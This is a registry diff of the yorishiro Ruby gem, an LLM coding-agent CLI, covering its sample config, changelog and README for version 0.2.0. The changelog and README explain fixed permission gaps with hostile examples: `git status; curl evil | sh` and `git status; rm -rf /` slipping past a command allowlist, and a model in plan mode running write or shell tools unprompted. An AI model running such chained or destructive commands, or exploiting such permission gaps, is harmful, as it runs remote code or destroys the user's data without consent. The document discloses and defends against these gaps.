yorishiro 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.yorishirorc.sample +51 -0
- data/CHANGELOG.md +41 -0
- data/README.md +134 -8
- data/docs/en/README.md +97 -2
- data/docs/ja/README.md +97 -2
- data/docs/ja/how_to_create_skills.md +0 -0
- data/docs/ja/ollama_setup.md +148 -0
- data/lib/yorishiro/cli.rb +474 -93
- data/lib/yorishiro/compactor.rb +53 -0
- data/lib/yorishiro/configuration.rb +69 -1
- data/lib/yorishiro/conversation.rb +117 -0
- data/lib/yorishiro/diff.rb +92 -0
- data/lib/yorishiro/hooks.rb +64 -0
- data/lib/yorishiro/input_history.rb +49 -0
- data/lib/yorishiro/mcp/server_manager.rb +4 -4
- data/lib/yorishiro/provider/anthropic.rb +37 -8
- data/lib/yorishiro/provider/base.rb +20 -4
- data/lib/yorishiro/provider/ollama.rb +70 -45
- data/lib/yorishiro/provider/open_ai.rb +21 -5
- data/lib/yorishiro/session_resume.rb +73 -0
- data/lib/yorishiro/session_store.rb +168 -0
- data/lib/yorishiro/skill.rb +11 -0
- data/lib/yorishiro/skill_loader.rb +53 -0
- data/lib/yorishiro/sub_agent.rb +143 -0
- data/lib/yorishiro/tool.rb +7 -0
- data/lib/yorishiro/tool_result_cap.rb +31 -0
- data/lib/yorishiro/tools/edit_file.rb +87 -0
- data/lib/yorishiro/tools/execute_command.rb +8 -0
- data/lib/yorishiro/tools/exit_plan_mode.rb +41 -0
- data/lib/yorishiro/tools/grep.rb +118 -0
- data/lib/yorishiro/tools/list_files.rb +10 -8
- data/lib/yorishiro/tools/read_file.rb +27 -9
- data/lib/yorishiro/tools/task.rb +74 -0
- data/lib/yorishiro/tools/write_file.rb +9 -0
- data/lib/yorishiro/version.rb +1 -1
- data/lib/yorishiro.rb +13 -1
- metadata +33 -5
- data/lib/yorishiro/mcp/stdio_transport.rb +0 -85
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: baf30a97d74763ddc58d0f8c670233b3b44a82f064b161fe6aec967bf1d2c0d0
|
|
4
|
+
data.tar.gz: 724a79cd7e49ace2544852fa556810d47778ef99212244d7e8ab99dca5b71711
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 87c3e0741e2142cabdd0e3421d164d437854096e215ce2a076fd12058484e3a1d6bee6ee74dfbab2c7d82ad4762b83e61f187da0cda3af7771e63aa01ff2195d
|
|
7
|
+
data.tar.gz: 6965030d5709a8948c16951f95970082ba0558909c03dee44cd34e2ab9e84947df31abdc6c49e2efec0761fd3308e2e76e5d560a8498f654163460fc0ceec9c0
|
data/.yorishirorc.sample
CHANGED
|
@@ -47,12 +47,19 @@ allow_tool Yorishiro::Tools::ReadFile.new
|
|
|
47
47
|
# File writing (permission required every time)
|
|
48
48
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
49
49
|
|
|
50
|
+
# Partial file editing with diff preview (permission required every time)
|
|
51
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
52
|
+
|
|
50
53
|
# File listing / glob (no permission required)
|
|
51
54
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
52
55
|
|
|
56
|
+
# File content search with a Ruby regexp (no permission required)
|
|
57
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
58
|
+
|
|
53
59
|
# Command execution (pattern-based permission)
|
|
54
60
|
# Commands matching allow_commands patterns run automatically.
|
|
55
61
|
# Other commands prompt for permission: [y] once, [a] always, [n] deny.
|
|
62
|
+
# Commands containing shell metacharacters (; & | $ ` < > ( ) or newlines) always prompt.
|
|
56
63
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
57
64
|
allow_commands: [
|
|
58
65
|
"ls *",
|
|
@@ -62,6 +69,10 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
|
62
69
|
"ruby *"
|
|
63
70
|
]
|
|
64
71
|
|
|
72
|
+
# Subagent: delegate read-only research to a fresh context window
|
|
73
|
+
# (no permission required — the subagent only gets read-only tools)
|
|
74
|
+
allow_tool Yorishiro::Tools::Task.new
|
|
75
|
+
|
|
65
76
|
# ============================================================
|
|
66
77
|
# MCP Servers
|
|
67
78
|
# ============================================================
|
|
@@ -77,10 +88,37 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
|
77
88
|
# args: ["mcp"],
|
|
78
89
|
# env: { "GITHUB_TOKEN" => ENV["GITHUB_TOKEN"] }
|
|
79
90
|
|
|
91
|
+
# ============================================================
|
|
92
|
+
# Hooks
|
|
93
|
+
# ============================================================
|
|
94
|
+
|
|
95
|
+
# Run Ruby blocks on lifecycle events:
|
|
96
|
+
# :before_tool_use (tool_name, args) — before the permission prompt
|
|
97
|
+
# :after_tool_use (tool_name, args, result) — after a successful execution
|
|
98
|
+
# :user_prompt_submit (input) — before the message reaches the LLM
|
|
99
|
+
#
|
|
100
|
+
# before_tool_use / user_prompt_submit blocks can veto the action by
|
|
101
|
+
# returning deny("reason"); any other return value lets it proceed.
|
|
102
|
+
#
|
|
103
|
+
# on :before_tool_use do |tool_name, args|
|
|
104
|
+
# deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
|
|
105
|
+
# end
|
|
106
|
+
#
|
|
107
|
+
# on :after_tool_use do |tool_name, _args, result|
|
|
108
|
+
# File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
|
|
109
|
+
# end
|
|
110
|
+
|
|
80
111
|
# ============================================================
|
|
81
112
|
# Custom Skills (Slash Commands)
|
|
82
113
|
# ============================================================
|
|
83
114
|
|
|
115
|
+
# Skills can also be auto-loaded from skill directories: any
|
|
116
|
+
# Yorishiro::Skill subclass defined in ~/.yorishiro/skills/*.rb (global)
|
|
117
|
+
# or ./.yorishiro/skills/*.rb (project-local) is registered automatically
|
|
118
|
+
# — no `skill` call needed. Project-local skills override global ones
|
|
119
|
+
# with the same name.
|
|
120
|
+
|
|
121
|
+
# A skill that returns a String just prints its output:
|
|
84
122
|
# class GitStatusSkill < Yorishiro::Skill
|
|
85
123
|
# def name = "git_status"
|
|
86
124
|
# def description = "Show git status"
|
|
@@ -88,3 +126,16 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
|
88
126
|
# end
|
|
89
127
|
#
|
|
90
128
|
# skill GitStatusSkill.new
|
|
129
|
+
|
|
130
|
+
# A skill can instead inject its own prompt into the LLM by returning
|
|
131
|
+
# `prompt(...)`. The text is sent to the model as a user message and the
|
|
132
|
+
# agent (or plan) loop runs, so the skill can drive the assistant:
|
|
133
|
+
# class ReviewSkill < Yorishiro::Skill
|
|
134
|
+
# def name = "review"
|
|
135
|
+
# def description = "Review the current git diff"
|
|
136
|
+
# def execute(_context)
|
|
137
|
+
# prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
|
|
138
|
+
# end
|
|
139
|
+
# end
|
|
140
|
+
#
|
|
141
|
+
# skill ReviewSkill.new
|
data/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,46 @@
|
|
|
1
1
|
## [Unreleased]
|
|
2
2
|
|
|
3
|
+
## [0.2.0] - 2026-07-17
|
|
4
|
+
|
|
5
|
+
- Refresh the hardcoded provider model lists, which had gone stale enough to be actively wrong. The Anthropic list contained a model ID that never existed (`claude-haiku-4-20250414`) and two since-retired models (`claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`), while `validate_model!`'s whitelist rejected every real current model — so a correct `.yorishirorc` failed at startup. The list now holds the current alias IDs (`claude-fable-5`, `claude-opus-4-8/-4-7/-4-6/-4-5`, `claude-sonnet-5`/`-4-6`/`-4-5`, `claude-haiku-4-5`), which track the latest snapshot of each model and go stale far more slowly than dated IDs; the Anthropic default model is now `claude-opus-4-8`. The OpenAI list drops the `o1`/`o1-mini`/`o3-mini` reasoning models, which reject this client's always-streaming/system-message/tool flow and could never actually work. Note the whitelist itself remains: a brand-new model still needs a gem update (or an entry PR) before `validate_model!` accepts it.
|
|
6
|
+
- Remove the dead `ContextManager` class. It was never required from `yorishiro.rb`, referenced from any code path, or covered by a test — and it carried a latent crash (`generate_map(max_depth: 4)` or deeper raised `ArgumentError` from a negative-length indent string, since the indentation hard-coded the default depth of 3). A future project-map feature can reintroduce it deliberately, with tests.
|
|
7
|
+
- Fix `list_files` marking directories relative to the process cwd instead of the listed path. Without a `pattern`, entries come from `Dir.children` as bare names, but the directory check ran `File.directory?` on those names as-is — resolved against wherever `yorishiro` was launched, not the requested `path`. Listing any other directory therefore missed the trailing `/` on its subdirectories (and could even mark a file as a directory if a same-named directory happened to exist in the cwd). Entries are now resolved against the listed path; glob listings were already correct.
|
|
8
|
+
- Keep one empty completion from bricking an Anthropic session. When the model returned an empty response (no text, no tool calls — e.g. after context overflow), the CLI warned about it but still recorded the empty assistant message; Anthropic rejects empty assistant content, so every subsequent request in the session failed with a 400 until `/clear`. Empty completions are no longer added to the history (the warning remains), and the Anthropic provider also drops any empty assistant message found in the history — covering sessions saved before this fix and resumed later. Assistant messages with tool calls but no text are unaffected.
|
|
9
|
+
- Record a tool result for every tool call the model issues alongside `exit_plan_mode`. When a plan-mode response contained `exit_plan_mode` plus other tool calls in the same batch, only the exit call got a result before the loop broke — the siblings were left as unanswered assistant `tool_calls`, so after the user approved the plan the follow-up completion sent an unpaired tool_call and Anthropic/OpenAI rejected the whole request with a 400. Sibling calls are not executed (the plan is already final); each now gets a `Skipped: ...` tool result telling the model to re-run the tool after approval if still needed.
|
|
10
|
+
- Stop a failing slash command or skill from crashing the whole REPL. The error handling in `repl_loop` only wrapped plain user input; slash commands ran outside it, so a skill whose `execute` raised — or, worse, a skill returning a `Prompt` whose injected agent loop hit a `ProviderError` (rate limit, network failure) — propagated out of the loop and killed the session with a backtrace, while the exact same provider error on a normal message printed a friendly `[Error] ...` line. Slash commands and skills now share that handling: the error is printed and the REPL keeps running. `/exit` is unaffected (`SystemExit` is not a `StandardError`).
|
|
11
|
+
- Refuse non-read-only tool calls in plan mode instead of executing them without a permission prompt. Plan mode only offers the model the read-only tool definitions, but the dispatcher looked the called name up among *all* registered tools and ran it inline (plan mode never shows the `[y/a/n]` prompt) — so a model that named `write_file`, `edit_file`, `execute_command`, or any MCP tool (from history or hallucination) could mutate files or run commands while "planning". Such calls are now blocked with a tool result telling the model to put the step in the plan and call `exit_plan_mode`, and a `[Plan Mode] Blocked ...` notice is printed. Read-only tools and lifecycle hooks behave as before.
|
|
12
|
+
- Stop the `--provider` CLI flag from wiping the configured API key and model. `setup!` applied the flag with a bare `use(provider:)`, whose `api_key:`/`model:` defaults are `nil` — so `yorishiro --provider anthropic` discarded the key loaded from `.yorishirorc` and failed with a 401 on the first request (no re-validation caught it at startup). Both `--provider` and `--model` now go through the same validated `switch!` path as the `/model` command: `--provider` alone keeps the configured key when the provider is unchanged and otherwise reads the new provider's conventional env var (`ANTHROPIC_API_KEY`/`OPENAI_API_KEY`; Ollama needs none), dropping the rc model since it belongs to the old provider; `--model` alone keeps provider and key and is now validated at startup (this also removes the `instance_variable_set` backdoor it used).
|
|
13
|
+
- Add a `/model` command to switch provider/model without restarting. `/model` lists the current selection and the available models; `/model <name>` changes the model within the current provider; `/model <provider> <name>` also switches provider, reading that provider's API key from its conventional env var (`ANTHROPIC_API_KEY`/`OPENAI_API_KEY`; Ollama needs none). The switch is validated and rolled back if the model or key is invalid, so a rejected switch keeps the running session on its current model. The conversation continues across the switch, and subagent tools are re-pointed at the new provider.
|
|
14
|
+
- Add a `/usage` command that shows token usage for the last turn and the running session total (plus the prompt's share of the context budget when the provider reports one). Ollama already parsed `prompt_eval_count`/`eval_count` but only used them for truncation warnings; those counts are now surfaced, and Anthropic (from the `message_start`/`message_delta` usage fields) and OpenAI (via `stream_options.include_usage`) now report usage too. Each provider's `chat` result carries a normalized `usage: { input:, output: }`; the CLI accumulates it per turn and `/clear` resets the running total. Providers that report nothing fall back to a rough character-based estimate.
|
|
15
|
+
- Keep a subagent's partial findings when a provider call fails mid-task. The `task` tool's completion request was not rescued, so a `ProviderError` (401/429/API error) or network timeout after several useful research iterations threw away everything gathered so far — the parent only saw a one-line `Error: ...`. The subagent now catches a failed completion and returns whatever it had found plus a `[Subagent stopped early after a provider error: ...]` notice (just the notice when it fails on the first call), matching how the iteration-limit and per-tool-error paths already salvage progress instead of crashing the loop.
|
|
16
|
+
- Stop two `yorishiro` processes from silently destroying each other's history. Resuming the same session in the same directory from two terminals (`--continue` both picking the latest session, or `--resume <id>` with the same id) left both writing the same `.yorishiro/sessions/<id>.json`, so the last to save overwrote the other's conversation (last-writer-wins data loss); they also shared one `<id>.json.tmp`, which could corrupt the in-flight write. A session id is now claimed with an advisory `flock` held for the process lifetime: resuming a session another live process owns prints a notice and starts a fresh session instead of attaching to it, and the temp file is per-process (`<id>.json.<pid>.tmp`). New sessions are unaffected (their ids are already unique). The lock releases automatically on exit and orphaned `.lock` files are pruned alongside their sessions.
|
|
17
|
+
- Never auto-approve `execute_command` calls containing shell metacharacters (`;` `&` `|` `` ` `` `$` `<` `>` `(` `)` or newlines), even when they match an `allow_commands` pattern. Patterns were matched with `File.fnmatch` against the whole command string and the command runs through a shell, so with the recommended `"git *"` config a command like `git status; curl evil | sh` matched the pattern and executed without any permission prompt — an allowlist bypass allowing arbitrary command injection. Such commands now always fall through to the interactive `[y/a/n]` prompt (quoted metacharacters like `git commit -m "a; b"` also prompt — a deliberate trade-off to avoid shipping a shell parser); commands the user explicitly session-allowed with `a` keep working since that list is exact-match.
|
|
18
|
+
- Add a built-in `task` tool (opt-in with `allow_tool Yorishiro::Tools::Task.new`) that delegates a read-only research task to a subagent running its own agent loop in a fresh context window. The subagent gets the registered read-only tools only (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest) and returns just its final text to the parent conversation, so multi-file exploration no longer fills the parent's context — the main win on small local context windows (e.g. Ollama with `num_ctx 8192`). Lifecycle hooks fire for the subagent's tool calls too, each call is shown as an indented `[task] ...` progress line, tool results inside the subagent are capped the same way as the parent's, and the loop is bounded at 15 iterations. Being read-only, `task` needs no permission prompt and is available in plan mode.
|
|
19
|
+
- Stop a single task from exhausting small context windows (e.g. Ollama with `num_ctx 8192`), where reading the files needed for one request used up the whole budget and neither compaction (needs older rounds) nor trimming (keeps the latest round) could free anything:
|
|
20
|
+
- `read_file` now returns at most 200 lines per call (long lines truncated at 500 characters) with a paging notice telling the model to continue via `offset`/`limit`.
|
|
21
|
+
- Every tool result is capped before entering the conversation — at a quarter of the context budget when the provider reports one, 30k characters otherwise — with a notice asking the model to narrow the request.
|
|
22
|
+
- When the conversation still exceeds the budget, the oldest tool results are now blanked out in place (keeping the two most recent and the message structure intact) before whole rounds are dropped, so a long tool loop inside one request degrades gracefully instead of producing empty responses.
|
|
23
|
+
|
|
24
|
+
- Add lifecycle hooks configurable from `.yorishirorc` with the `on` DSL: `:before_tool_use` (fires before the permission prompt and can veto the call by returning `deny("reason")` — the denial is fed back to the LLM as the tool result), `:after_tool_use` (observes tool results; failures only warn), and `:user_prompt_submit` (can block a message before it reaches the LLM). Only an explicit `deny(...)`/`:deny` return vetoes, so logging-only hooks are safe; a `before_tool_use` hook that raises denies the call (fail closed). Hooks apply to MCP tools and plan mode too.
|
|
25
|
+
- Auto-load custom skills (slash commands) from skill directories: any `Yorishiro::Skill` subclass defined in `~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local) is registered at startup without a `skill ...` call. Project-local skills override same-name global ones, abstract intermediate base classes are skipped, and a broken skill file fails startup with the offending path in the error.
|
|
26
|
+
- Add a built-in `edit_file` tool that replaces an exact string in a file (`path`, `old_string`, `new_string`, optional `replace_all`), instead of rewriting the whole file with `write_file`. The string must match uniquely; ambiguity and misses return actionable errors so the LLM can retry.
|
|
27
|
+
- Show a unified diff preview in the permission prompt for `edit_file` and `write_file` (colored when the output is a TTY), so you can see the actual change before approving instead of a raw argument dump. Tools can opt in by overriding `Tool#preview`; everything else keeps the argument dump.
|
|
28
|
+
- Add a built-in `grep` tool that searches file contents recursively with a Ruby regular expression (`pattern`, optional `path` and `glob` filter). Matches are returned as `file:line:content`, capped at 100 results; binary files, hidden/dot directories, and dependency directories (`.git`, `node_modules`, `vendor`, `tmp`) are skipped. Read-only, so it needs no permission prompt and is available in plan mode.
|
|
29
|
+
- Stop plan mode from looping forever: add an `exit_plan_mode` tool the model calls to signal its plan is ready. Previously the plan loop could only end when the model returned no tool calls, so a model that kept reading files (only read-only tools are exposed in plan mode) never reached the `Execute this plan? [y/n]` prompt. When `exit_plan_mode` is called the plan is presented and the loop exits.
|
|
30
|
+
- Persist conversations to `.yorishiro/sessions/<id>.json` under the launch directory (saved after every turn and progressively during long tool loops, via an atomic tmp-file rename so a crash never corrupts the previous state). Resume with `--continue` (most recent session), `--resume [ID]` (ID prefixes work; interactive picker when omitted), or the `/resume` command. `/clear` starts a new session while keeping the old file resumable. Sessions record the provider/model and warn when resuming under a different one; the newest 50 sessions are kept.
|
|
31
|
+
- Persist input history to `.yorishiro/history.json` in the directory where `yorishiro` was launched, so past prompts (including multi-line ones) can be recalled with the up arrow across sessions. Each project keeps its own history; add `.yorishiro/` to `.gitignore` to keep it out of version control.
|
|
32
|
+
- Edit multi-line prompts as a single buffer: input now uses `Reline.readmultiline`, so the cursor can move back to earlier lines to edit them before sending. The "Enter on a blank line sends" gesture is unchanged.
|
|
33
|
+
- Let skills inject a prompt into the LLM: when a skill's `execute` returns a `Yorishiro::Skill::Prompt` (built with the `prompt("...")` helper), its text is fed to the model as a user message and the agent/plan loop runs. Skills returning a String keep printing their output as before.
|
|
34
|
+
- Stream Ollama responses even when tools are provided, allowing text and tool calls to be handled from NDJSON chunks.
|
|
35
|
+
- Add `OLLAMA_KEEP_ALIVE` support for Ollama chat requests, defaulting to `10m`.
|
|
36
|
+
- Disable the read timeout for Ollama so large-prompt coding tasks no longer fail with `Net::ReadTimeout` while the local model evaluates the prompt before streaming the first token. Cloud providers keep the 120s default.
|
|
37
|
+
- Restore `Ollama request`/`Ollama response` debug logging (`YORISHIRO_DEBUG=1`) on the streaming path.
|
|
38
|
+
- Send an explicit `num_ctx` (context window) with every Ollama request so large-codebase sessions no longer overflow Ollama's small default context and get silently truncated (which dropped the system prompt/tools and caused the model to stop responding). Defaults to `8192`, overridable via the `OLLAMA_NUM_CTX` env var or `ollama_num_ctx` in `.yorishirorc`.
|
|
39
|
+
- Automatically compact conversation history (Claude Code style): when the conversation nears the context budget, older rounds are summarized by the model into a single summary message while the most recent rounds are kept verbatim. Enabled by default; disable with `auto_compact false` in `.yorishirorc`, or trigger manually with the `/compact` command.
|
|
40
|
+
- Trim the oldest conversation rounds to fit the provider's context budget before each request (Ollama only for now) as a fallback after compaction, keeping the system prompt and the latest round and never splitting a tool call from its result.
|
|
41
|
+
- Surface context-truncation and empty-response conditions in the CLI instead of silently going quiet, and keep the REPL alive when a single turn raises an error.
|
|
42
|
+
- Harden Ollama NDJSON stream parsing: skip malformed/partial lines instead of crashing, and raise a `ProviderError` when Ollama streams an `error` object.
|
|
43
|
+
|
|
3
44
|
## [0.1.0] - 2026-03-18
|
|
4
45
|
|
|
5
46
|
- Initial release
|
data/README.md
CHANGED
|
@@ -30,11 +30,13 @@ vi .lyorishirorc
|
|
|
30
30
|
|
|
31
31
|
```ruby
|
|
32
32
|
# ~/.yorishirorc
|
|
33
|
-
use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-
|
|
33
|
+
use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"
|
|
34
34
|
|
|
35
35
|
allow_tool Yorishiro::Tools::ReadFile.new
|
|
36
36
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
37
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
37
38
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
39
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
38
40
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
39
41
|
allow_commands: ["ls", "git *", "bundle exec *", "cat *"]
|
|
40
42
|
|
|
@@ -48,7 +50,7 @@ yorishiro
|
|
|
48
50
|
```
|
|
49
51
|
|
|
50
52
|
```
|
|
51
|
-
Yorishiro v0.1.0 (anthropic:claude-
|
|
53
|
+
Yorishiro v0.1.0 (anthropic:claude-opus-4-8)
|
|
52
54
|
Type your message (Enter twice to send, /help for commands)
|
|
53
55
|
|
|
54
56
|
you> Hello!
|
|
@@ -61,25 +63,60 @@ assistant> Hi! How can I help you today?
|
|
|
61
63
|
### Basic Operations
|
|
62
64
|
|
|
63
65
|
- Type your message and press **Enter twice** to send
|
|
66
|
+
- Input is a single editable buffer: use the arrow keys to move back to earlier lines and edit them before sending
|
|
67
|
+
- Press **↑ / ↓** to recall previously sent prompts
|
|
64
68
|
- `Ctrl+C` or `/exit` to quit
|
|
65
69
|
|
|
70
|
+
### Input History
|
|
71
|
+
|
|
72
|
+
Sent prompts are saved to `.yorishiro/history.json` in the directory where you launched `yorishiro`, so each project keeps its own history. On the next launch from the same directory, press **↑** to recall past prompts (multi-line prompts are restored intact) and re-send them.
|
|
73
|
+
|
|
74
|
+
Add `.yorishiro/` to your `.gitignore` to keep the history out of version control:
|
|
75
|
+
|
|
76
|
+
```
|
|
77
|
+
.yorishiro/
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
If several sessions run in the same directory at once, the last one to exit wins when writing the file.
|
|
81
|
+
|
|
82
|
+
### Session Persistence & Resume
|
|
83
|
+
|
|
84
|
+
Conversations are saved automatically to `.yorishiro/sessions/` under the launch directory — after every turn, and progressively during long tool loops, so a crash loses at most the in-flight completion. Resume where you left off:
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
yorishiro --continue # resume the most recent session
|
|
88
|
+
yorishiro --resume # pick from a list of saved sessions
|
|
89
|
+
yorishiro --resume 2026070 # resume by id (prefixes work)
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
Inside the REPL, `/resume` shows the same picker and `/clear` starts a new session (the old one stays on disk and remains resumable). Sessions record which provider/model they were created with; resuming under a different one prints a notice and continues with the current configuration. The newest 50 sessions are kept per directory.
|
|
93
|
+
|
|
94
|
+
A session can only be open in one process at a time. If you resume a session that another `yorishiro` in the same directory is already using, it won't attach to it (which would overwrite that process's history) — it prints a notice and starts a fresh session instead.
|
|
95
|
+
|
|
66
96
|
### Slash Commands
|
|
67
97
|
|
|
68
98
|
| Command | Description |
|
|
69
99
|
|---------|-------------|
|
|
70
100
|
| `/plan` | Toggle plan mode |
|
|
71
|
-
| `/clear` | Clear conversation history |
|
|
101
|
+
| `/clear` | Clear conversation history (starts a new session) |
|
|
102
|
+
| `/resume` | List saved sessions and resume one |
|
|
72
103
|
| `/tools` | List registered tools |
|
|
73
104
|
| `/skills` | List registered skills |
|
|
105
|
+
| `/usage` | Show token usage for the last turn and the session |
|
|
106
|
+
| `/model` | Switch provider/model at runtime (lists options when called with no arguments) |
|
|
74
107
|
| `/exit` | Exit yorishiro |
|
|
75
108
|
| `/help` | Show help |
|
|
76
109
|
|
|
110
|
+
`/model gpt-4o` switches the model within the current provider; `/model open_ai gpt-4o` also switches provider. When switching to a different provider, the API key is read from that provider's conventional environment variable (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`; Ollama needs none) — the switch is rejected and the current model kept if the key or model is invalid.
|
|
111
|
+
|
|
77
112
|
### CLI Options
|
|
78
113
|
|
|
79
114
|
```bash
|
|
80
115
|
yorishiro --provider anthropic # Select provider
|
|
81
116
|
yorishiro --model gpt-4o # Override model
|
|
82
117
|
yorishiro --plan # Start in plan mode
|
|
118
|
+
yorishiro --continue # Resume the most recent session
|
|
119
|
+
yorishiro --resume [ID] # Resume a saved session (picker when ID is omitted)
|
|
83
120
|
yorishiro --version # Show version
|
|
84
121
|
yorishiro --help # Show help
|
|
85
122
|
```
|
|
@@ -96,7 +133,7 @@ Configuration files use a Ruby DSL. Loading order (later overrides earlier):
|
|
|
96
133
|
|
|
97
134
|
```ruby
|
|
98
135
|
# Anthropic (Claude)
|
|
99
|
-
use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-
|
|
136
|
+
use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"
|
|
100
137
|
|
|
101
138
|
# OpenAI (ChatGPT)
|
|
102
139
|
use provider: :open_ai, api_key: ENV["OPENAI_API_KEY"], model: "gpt-4o"
|
|
@@ -109,8 +146,8 @@ use provider: :ollama, model: "llama3.1"
|
|
|
109
146
|
|
|
110
147
|
| Provider | Models |
|
|
111
148
|
|----------|--------|
|
|
112
|
-
| Anthropic | claude-opus-4-
|
|
113
|
-
| OpenAI | gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo
|
|
149
|
+
| Anthropic | claude-fable-5, claude-opus-4-8, claude-opus-4-7, claude-opus-4-6, claude-opus-4-5, claude-sonnet-5, claude-sonnet-4-6, claude-sonnet-4-5, claude-haiku-4-5 |
|
|
150
|
+
| OpenAI | gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo |
|
|
114
151
|
| Ollama | Any model available on your Ollama instance (dynamically fetched) |
|
|
115
152
|
|
|
116
153
|
### Tool Settings
|
|
@@ -119,15 +156,35 @@ use provider: :ollama, model: "llama3.1"
|
|
|
119
156
|
# Read-only tools (no permission required)
|
|
120
157
|
allow_tool Yorishiro::Tools::ReadFile.new
|
|
121
158
|
allow_tool Yorishiro::Tools::ListFiles.new
|
|
159
|
+
allow_tool Yorishiro::Tools::Grep.new
|
|
122
160
|
|
|
123
|
-
# Write
|
|
161
|
+
# Write / edit tools (permission required every time, with a diff preview)
|
|
124
162
|
allow_tool Yorishiro::Tools::WriteFile.new
|
|
163
|
+
allow_tool Yorishiro::Tools::EditFile.new
|
|
125
164
|
|
|
126
165
|
# Command execution (pattern-based permission)
|
|
127
166
|
allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
128
167
|
allow_commands: ["ls", "git *", "bundle exec *"]
|
|
168
|
+
|
|
169
|
+
# Subagent (delegates read-only research to a fresh context window)
|
|
170
|
+
allow_tool Yorishiro::Tools::Task.new
|
|
129
171
|
```
|
|
130
172
|
|
|
173
|
+
### Subagent (`task` tool)
|
|
174
|
+
|
|
175
|
+
The `task` tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest), and only its final text summary enters the parent conversation.
|
|
176
|
+
|
|
177
|
+
This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with `num_ctx 8192`), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:
|
|
178
|
+
|
|
179
|
+
```
|
|
180
|
+
[Tool] Executing: task(prompt: Find where sessions are persisted...)
|
|
181
|
+
[task] grep(pattern: def save)
|
|
182
|
+
[task] read_file(path: lib/yorishiro/session_store.rb)
|
|
183
|
+
[Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
Lifecycle hooks (`before_tool_use` / `after_tool_use`) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.
|
|
187
|
+
|
|
131
188
|
### Command Execution Permission Model
|
|
132
189
|
|
|
133
190
|
The `execute_command` tool uses a 3-tier permission model:
|
|
@@ -140,8 +197,11 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
|
|
|
140
197
|
# ls → auto-approved
|
|
141
198
|
# git status → auto-approved
|
|
142
199
|
# rm -rf / → permission prompt
|
|
200
|
+
# git status; curl evil | sh → permission prompt (metacharacters never auto-approve)
|
|
143
201
|
```
|
|
144
202
|
|
|
203
|
+
Commands containing shell metacharacters (`;` `&` `|` `` ` `` `$` `<` `>` `(` `)` or newlines) are never auto-approved, even when they match an `allow_commands` pattern. Since commands run through a shell, these characters could chain extra commands onto an allowed prefix (e.g. `git status; rm -rf /` matching `"git *"`), so they always fall through to the Tier 2 prompt.
|
|
204
|
+
|
|
145
205
|
**Tier 2: Runtime approval** — Commands not matching any pattern trigger a permission prompt
|
|
146
206
|
|
|
147
207
|
```
|
|
@@ -206,6 +266,66 @@ skill GitStatusSkill.new
|
|
|
206
266
|
# => Available as /git_status
|
|
207
267
|
```
|
|
208
268
|
|
|
269
|
+
A skill that returns a String just prints its output. To drive the assistant
|
|
270
|
+
instead, return `prompt(...)`: the text is injected as a user message and the
|
|
271
|
+
LLM runs (respecting plan mode), so the skill can hand a task to the model.
|
|
272
|
+
|
|
273
|
+
```ruby
|
|
274
|
+
class ReviewSkill < Yorishiro::Skill
|
|
275
|
+
def name = "review"
|
|
276
|
+
def description = "Review the current git diff"
|
|
277
|
+
|
|
278
|
+
def execute(_context)
|
|
279
|
+
prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
|
|
280
|
+
end
|
|
281
|
+
end
|
|
282
|
+
|
|
283
|
+
skill ReviewSkill.new
|
|
284
|
+
# => /review feeds the diff to the LLM and runs the agent loop
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
